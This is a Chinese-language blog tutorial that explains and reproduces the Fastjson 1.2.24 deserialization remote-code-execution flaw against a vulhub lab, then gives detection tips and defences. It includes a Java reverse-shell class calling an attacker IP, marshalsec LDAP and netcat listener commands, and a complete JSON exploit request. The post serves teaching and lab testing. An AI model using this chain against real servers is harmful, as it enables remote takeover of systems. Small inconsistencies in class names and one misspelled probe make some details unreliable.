要了解这个漏洞,首先要了解Java反序列化和JNDI注入(或log4j)是什么,才可能看懂。可以看看我之前的文章。
目录
Fastjson简介
Fastjson是Java的一个库,可以将Java对象转化为JSON格式的字符串,也可以将JSON格式的字符串转化为Java对象。
Fastjson调用toJSONString()方法即可将对象转换成JSON字符串,parseObject()方法将JSON字符串转换成对象。
漏洞原理
Fastjson在序列化的时候,会调用成员变量的get方法,私有成员变量不会被序列;同样的,Fastjson在反序列化的时候,会调用成员变量的set方法,public成员自动赋值。
因为在反序列过程中它会自动调用这个对象的set方法,所以如果这个set方法中存在一些危险操作,那么就会导致反序列化漏洞的产生。
而且因为Fastjson的自省功能,导致Fastjson可以支持任意类的反序列化。
那如果我们可以找到一个类,在这个类中存在set方法,且这个类的set方法存在一些敏感操作,并且每次运行任意代码时必须调用这个类,那我们就可以很好地利用这个Fastjson反序列化漏洞。
借鉴大佬的总结,有几个类符合上面所说的要求:
- com.sun.rowset
- JdbcRowSetImpl
- TemplatesImpl
- com.sun.org.apache.xalan.internal.xsltc.trax
漏洞复现
复现准备
centos:192.168.15.230
kali:192.168.15.249
在centos上拉取vulhub靶场
#1 下载靶场
git clone https://github.com/vulhub/vulhub.git
#打开漏洞目录
cd vulhub/fastjson/1.2.24-rce
#2 编译,运行
docker-compose build
docker-compose up -d
在kali准备好适合的jdk环境
JDK6 | JDK7 | JDK8 | JDK11 | |
RMI可用 | 6u132以下 | 7u122以下 | 8u113以下 | 无 |
LDAP可用 | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1一下 |
kali新版默认配置的是jdk11,所以需要重新配置一个,我这里配置的是jdk8u181
利用流程
1、访问靶场环境:
http://ip:8090
2、首先使用Java编写一个恶意代码用于反弹shell,然后进行编译后上传到kali攻击机
//shell.java
public class LinuxRevers{
static { //static是编译运行时最初会执行的
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.15.249/4444 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
3、然后在kali启动一个LDAP服务(使用Marshalsec工具,不懂的可以看JNDI注入那篇文章)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.15.249:8089/#FastjsonShell" 1234
其中的`FastjsonShell`是恶意类的类名,`1234`是监听的端口号,`8089`是开启http服务的端口号。
(注意:如果这里报错“错误: 找不到或无法加载主类 marshalsec.jndi.LDAPRefServer”,那是因为jar包不存在,说明你当前目录是不对的,这个包在Marshalsec下的target文件夹下)
4、在存放恶意代码的目录下开启一个http服务
python -m http.server 8089
(注意这个端口要跟上面你命名的端口一致)
5、然后在kali上开启监听
nc -lvnp 4444
做好一切准备,就只欠东风了。那要怎么诱导目标服务器访问搭建好的LDAP服务器呢?
可以用BurpSuite构造一个请求数据包发给目标服务器,让服务器去访问搭建好的LDAP服务。当我们把构造好的数据包发送之后,就可以在nc监听的端口中看到反弹的shell了。
(这里要注意使用POST请求)
POST / HTTP/1.1
Host: 192.168.15.230:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 187
{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.15.249:1234/FastjsonShell",
"autoCommit": true
}
}
再次梳理以下这个利用链,其实跟上一篇的JNDI注入差不多:
这次借助Marshalsec工具使用了JDK库中的JdbcRowSetImpl类,这个类在反序列化时会自动调用setDataSourceName方法与setAutoCommit方法,而setDataSourceName方法会将数据包的“ldap://...”的值赋予DataSource,然后setAutoCommit方法会调用connect方法,connect方法调用lookup方法,lookup方法连接到ldap服务,这里就是漏洞所在了。连接后就会下载恶意代码到本地然后执行。
漏洞挖掘思路
- 找到目标站点发送JSON数据的接口
- 然后进行判断是否使用了Fastjson:
- 非法格式报错:利用BurpSuite抓包发送一些非法格式的数据包,查看它的返回包是否会爆出有用信息
- 使用dnslog探测:{"x":{"@type":"java.net.lnet4Address","val":"xxx.dnslog.cn"}}
- 除了手动方法,还可以通过扫描工具:FastjsonScan---FastjsonScan项目地址
- 这个工具需要同BurpSuite配合使用(是一款BurpSuite的插件)
- 只需要下载好FastjsonScan.jar文件然后加入BurpSuite的Extensions就可以
漏洞防御
- 升级JDK
- 升级Fastjson
- 使用安全产品过滤
- 更换其他序列化工具如Jackson/Gson等
总结
- Fastjson是Java的一个库,调用toJSONString方法将对象转换成字符串,调用parseObject方法将字符串转换为对象
- Fastjson反序列化漏洞是因为Fastjson在反序列化过程中会调用参数的set方法,如果反序列化的参数可控且能够找到set方法有危险参数的类,就能够执行漏洞利用操作。(有四个类)
- Fastjson复现同样是要做两件事情:一件是要利用Marshalsec工具来搭建LDAP服务,另一件是要编写恶意代码并编译然后开启http服务,最后构造数据包诱导目标服务器去访问LDAP服务
- 如果发现目标站点发送JSON数据的接口,要有想法去抓包发送一些非法格式的数据包,查看它的返回值是否会爆出一些有用信息,甚者,可以进一步利用dnslog探测是否存在Fastjson漏洞({"x":{"@type":"java.net.Inet4Address","val":"xxx.dns.dnslog.cn"}})
- 还可以利用BurpSuite插件FastjsonScan工具
- 关于漏洞防御四点:升级JDK、升级Fastjson、使用安全产品过滤、更换其他反序列化工具